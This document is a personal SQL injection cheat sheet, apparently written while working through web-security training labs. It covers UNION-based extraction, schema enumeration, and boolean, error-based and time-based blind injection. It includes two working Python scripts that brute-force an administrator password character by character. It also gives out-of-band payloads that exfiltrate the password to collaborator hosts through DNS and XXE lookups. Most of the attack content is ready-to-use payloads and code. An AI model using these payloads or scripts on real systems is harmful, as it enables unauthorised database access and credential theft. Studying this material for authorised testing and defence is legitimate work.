SQL cheatsheet

NOTE:

In ORACLE, every SELECT statement must specify a table to select FROM To test its the ORACLE is not, use this method or similar:

• If Oracle, this statement cause Interal Server Error: TrackingId=xyz'||(SELECT '')||' TrackingId=KjXtzlai4eYNgiSL'UNION SELECT ''--

• If not, verify with if no error occurs: TrackingId=xyz'||(SELECT '' FROM dual)||' TrackingId=KjXtzlai4eYNgiSL'UNION SELECT '' FROM dual--

Can use encode in XML parsing process to bypass the waf:

Example: use dec_entities encode and hex_entities encode to bypass:

1 UNION SELECT password FROM users WHERE username='administrator'

=> 1 UNION SELECT password FROM users WHERE username='administrator'

UNION attack

Detect numbers of columns of result set

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

Can use ‘ORDER BY’ with UNION to exploit without names of any columns

Origin: SELECT id, name FROM users WHERE name = ‘John’; Payload: SELECT id, name FROM users WHERE name = ‘John’ ORDER BY 3–; => cause error

=> there are only 2 columns in query

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

When use the UNION not have the right number of columns, cause internal server error, when work, 200 OK

Database-specific syntax

There are built-in table, example is table ‘dual’ in Oracle, we can use it for UNION ATTACK

’ UNION SELECT NULL FROM DUAL–

Extract datatype compatible with specific columns

GET /filter?category='UNION+SELECT+NULL,'OJg7mW',NULL--

=> Then we know that columns 2 is compatibale with the string

Oracle: cause of every SELECT query need to use FROM clause:

'UNION+SELECT+NULL,NULL+FROM+dual--

Retrieving interest data with UNION

When we know the number of columns returned by the original query, and know which columns can hold string data, we can retrieve interesting data

Suppose: SELECT id, name FROM employees WHERE name = 'input_here';

Payload: ' UNION SELECT username, password FROM users--

Examining database in SQLi

GOALS: - The type and version of the database software. - The tables and columns that the database contains.

Database Type	Query
Microsoft, MySQL	SELECT @@version
Oracle	SELECT * FROM v$version
PostgreSQL	SELECT version()

Example:

'UNION SELECT @@version--
GET /filter?category='UNION+SELECT+@@version,NULL,NULL--
'UNION+SELECT+NULL,banner+FROM+v$version-- 

Listing the contents of the databases

Non-oracle

Every database have information_schema.tables to list all table in database

SELECT * FROM information_schema.tables

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

example:

Extract tables: 'UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables--

Extract columns: 'UNION+SELECT+COLUMN_NAME,NULL+FROM+information_schema.columns+WHERE+table_name='users_yyifmy'--

Extract data from column: 'UNION+SELECT+password_epsfwo,username_bdsehe+FROM+users_yyifmy--

Oracle

You can list tables by querying all_tables: SELECT * FROM all_tables

You can list columns by querying all_tab_columns: SELECT * FROM all_tab_columns WHERE table_name = 'USERS' 'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_VKXFMK'--

Retrieving multiple values within a single column

Use concatination to retrieve multiple values together within this single column.

Database	Syntax
Oracle	'foo' | | 'bar'
Microsoft	'foo'+'bar'
PostgreSQL	'foo' | | 'bar'

MySQL ‘foo’ ‘bar’ [Note the space between the two strings] CONCAT(‘foo’,’bar’)

'UNION+SELECT+null,username||'-'||password+FROM+users--

Output:

carlos-oaym6na3wgbptt1rz1eu
administrator-d49v6zz4hdczno94kvd7
wiener-vsbbtfiu7s17bi8a24ic

Blind SQL injection

Exploiting blind SQL injection by triggering conditional responses

Example:

…xyz' AND '1'='1
…xyz' AND '1'='2

The first of these values causes the query to return results, because the injected AND ‘1’=’1 condition is true. As a result, the “Welcome back” message is displayed. The second value causes the query to not return any results, because the injected condition is false. The “Welcome back” message is not displayed.

=> Extract each each character at a time:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm => This returns the “Welcome back” message, indicating that the injected condition is true, and so the first character of the password is greater than m.

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't => This does not return “Welcome back”, First character is not greater than t.

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's => “Welcome back” appears => the first character of password is s.

Example exploit script:

import httpx
import string

password_length = 20
password = ""
alphabet= list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
print(alphabet)

url = "https://0a25000a03adb1058238338d00af00cc.web-security-academy.net/"
cookies = {
    "session": "JJRFC6uHJFhRo7v4niHdGrE1HAr61Pw6",
    "TrackingId": "a"
}

with httpx.Client() as client:
   for position in range(1, password_length + 1):  
    for x in alphabet:  
        cookies["TrackingId"] = (
            f"PCC6wvbtVCknZGoW' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), {position}, 1) = '{x}"
        )
        
        response = httpx.get(url, cookies=cookies)

        if "Welcome back!" in response.text: 
            password += x
            print(f"Found character at position {position}: {x}")
            break

print(f"Password: {password}")

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Database	Syntax
Oracle	SUBSTR('foobar', 4, 2)
Microsoft	SUBSTRING('foobar', 4, 2)
PostgreSQL	SUBSTRING('foobar', 4, 2)
MySQL	SUBSTRING('foobar', 4, 2)

Error-based SQL injection

Use error messages to extract or infer sensitive data from the database

Exploit blind SQL injection by triggering conditional erroes

Database	Query
Oracle	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL	1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL	SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Use CASE keyword to test condition:

• With the first input, the CASE expression FALSE then go to ELSE evaluates to ‘a’, which does not cause any error.
• With the second input, it TRUE then go to TRUE evaluates to 1/0, which causes a divide-by-zero error.

If the error causes a difference in the application’s HTTP response, you can use this to determine whether the injected condition is true.

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

ORACLE TrackingId=KjXtzlai4eYNgiSL'UNION (SELECT CASE WHEN LENGTH(password)>20 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator')--;

If the length of password is greater than 20 => Cause 500 error. By this we can determine the length of password is 20.

Then extract each character of password:

import httpx
import string


password_length = 20
password = ""
alphabet= list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
print(alphabet)

url = "https://0a0a003d031b165a80dd0382006500d1.web-security-academy.net/"
cookies = {
    "session": "kmH73vUrbJzcoQVG4e2ShDYQ2jYY9OTk",
    "TrackingId": "a"
}

with httpx.Client() as client:
   for position in range(1, password_length + 1):  
    for x in alphabet:  
        cookies["TrackingId"] = (
            f"KjXtzlai4eYNgiSL'UNION (SELECT CASE WHEN (SUBSTR(password,{position},1) = '{x}') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator')--"
        )
        
        response = httpx.get(url, cookies=cookies)

        if response.status_code == 500: 
            password += x
            print(f"Found character at position {position}: {x}")
            break

print(f"Password: {password}")

Extracing sensitive data via verbose SQL error messages

Database	Query	Error Message
Microsoft	SELECT 'foo' WHERE 1 = (SELECT 'secret')	Conversion failed when converting the varchar value ‘secret’ to data type int.
PostgreSQL	SELECT CAST((SELECT password FROM users LIMIT 1) AS int)	invalid input syntax for integer: “secret”
MySQL	SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))	XPATH syntax error: ‘\secret’

Sometimes the misconfiguration of database results in verbose message.

But occasionally, you may be able to induce the application to generate an error message that contains some of the data that is returned by the query. This effectively turns an otherwise blind SQL injection vulnerability into a visible one.

• You can use CAST() to achieve this, it enables you to convert one data type to another:

CAST((SELECT example_column FROM example_table) AS int)

May cause error similar to the following:

=> ERROR: invalid input syntax for type integer: "Example data"

Example payload:

TrackingId=' AND 2=CAST((SELECT password FROM users LIMIT 1) AS int)--

=> ERROR: invalid input syntax for type integer: "0h50pj2lgndwg4wlj8tj"

If MySQL: TrackingId=' UNION SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM users WHERE username='administrator')))--

Exploiting blind SQL injection by triggering time delays

Time delays

Database	Query
Oracle	dbms_pipe.receive_message(('a'),10)
Microsoft	WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT pg_sleep(10)
MySQL	SELECT SLEEP(10)

Conditional time delays

Database	Query
Oracle	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a' <concatinate here> dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft	IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL	SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

Delaying the execution of a SQL query also delays the HTTP responses, we use this to determine the truth of injected condition:

Example on Microsoft SQL Server:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

• The first of these inputs does not trigger a delay, because the condition 1=2 is false.
• The second input triggers a delay of 10 seconds, because the condition 1=1 is true.

By this we can extract each character at a time:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Payload: %3B in SQL is decoded to “;”, which is make a new query:

%3B
SELECT CASE 
    WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'), 1, 1) < 'd') 
    THEN pg_sleep(10) 
    ELSE NULL 
END--

%3BSELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username=’administrator’), 1, 1) = ‘d’) THEN pg_sleep(3) ELSE NULL END–

Then use Burp Intruder to extract each position.

Exploiting blind SQL injection using out-of-band (OAST) techniques

Not exfiltrate data

Database	Technique
Oracle	(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
	SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
	The following technique works on fully patched Oracle installations, but requires elevated privileges:
	SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft	exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL	copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL	The following techniques work on Windows only:
	LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
	SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\\a'

An application might carry out the same SQL query as the previous example but do it asynchronously. The application continues processing the user’s request in the original thread, and uses another thread to execute a SQL query using the tracking cookie. The query is still vulnerable to SQL injection, but none of the techniques described so far will work. The application’s response doesn’t depend on the query returning any data, a database error occurring, or on the time taken to execute the query.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. These can be triggered based on an injected condition to infer information one piece at a time. More usefully, data can be exfiltrated directly within the network interaction.

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Payload:

TrackingId=SXiB94mO9w4AdDt8' UNION SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//zjmepd70qh5jap70t5mnwb1vqmwdkd82.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

Data exfiltrate

Database	Technique
Oracle	SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' | | (SELECT YOUR-QUERY-HERE) | | '.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoft	declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL	create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup ' | | p | | '.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();
MySQL	The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\\a'

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Payload:

TrackingId=xUHDNyHYioHCjZXM' UNION SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT password FROM users WHERE username='administrator') ||'bq5qwpecxtcvh1ec0htz3n87xy3prrfg.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

Type of ordered injection

First-order SQL injection occurs when the application processes user input from an HTTP request and incorporates the input into a SQL query in an unsafe way.

Second-order SQL injection occurs when the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. For this reason, second-order SQL injection is also known as stored SQL injection.

Second-order SQL injection often occurs in situations where developers are aware of SQL injection vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data is handled in an unsafe way, because the developer wrongly deems it to be trusted.